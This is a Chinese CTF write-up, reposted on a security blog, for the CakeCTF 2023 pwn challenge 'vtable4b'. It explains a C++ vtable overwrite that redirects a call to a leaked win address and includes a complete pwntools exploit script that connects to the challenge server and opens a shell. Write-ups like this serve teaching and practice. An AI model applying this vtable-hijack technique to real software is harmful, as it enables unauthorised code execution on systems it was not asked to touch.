记一次神奇的nc题(Pwn)

admin 2023年11月14日00:35:37评论12 views字数 916阅读3分3秒阅读模式


      之前做了个国外的CTF小比赛,发现了一道很有意思的题目,话不多说,直接上题目:

记一次神奇的nc题(Pwn)

由上图可以看到,dialogue()函数可以call地址(通过cowsy调用),而message()函数可以写入地址,并将它存入栈中。同时题目给了个getshell的地址,但这个地址每次打开程序都不一样。

记一次神奇的nc题(Pwn)

可以看到我们写入的东西被放到了message中,而这个vtable for Cowsay可以通过cowsay-->dialogue()来调用dialogue函数,那么可以想到思路:将message填充为getshell地址,然后填充垃圾数据覆盖到vtable for cowsay,将这块地址的内容覆盖为message函数地址。那么当我发送完payload后输入“1”执行Use cowsay调用dialogue函数,会使程序执行到message函数,进而call message函数使程序执行到getshell地址,最终拿到shell!

from pwn import*p = remote('vtable4b.2023.cakectf.com','9000')context(os="linux",arch="amd64",log_level='debug')p.recvuntil(b'<win> = 0x')data = int(p.recv(12),16)#获取getshell地址(随机的,需要我们写脚本获取print("data ="+hex(data))p.recvuntil(b'>')p.sendline(str(3))p.recvuntil(b'0x')addr=int(p.recv(12),16)+0x10#获取message函数的地址,即0xea0 + 0x10 = 0xeb0print("addr ="+hex(addr))p.recvuntil(b'>')p.sendline(str(2))payload = p64(data)+b'A'*0x18 + p64(addr)#布置栈p.sendline(payload)p.interactive()

最后输入1使程序执行到getshell的地址

原文始发于微信公众号(中学生CTF):记一次神奇的nc题(Pwn)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月14日00:35:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次神奇的nc题(Pwn)http://cn-sec.com/archives/2203198.html

发表评论

匿名网友 填写信息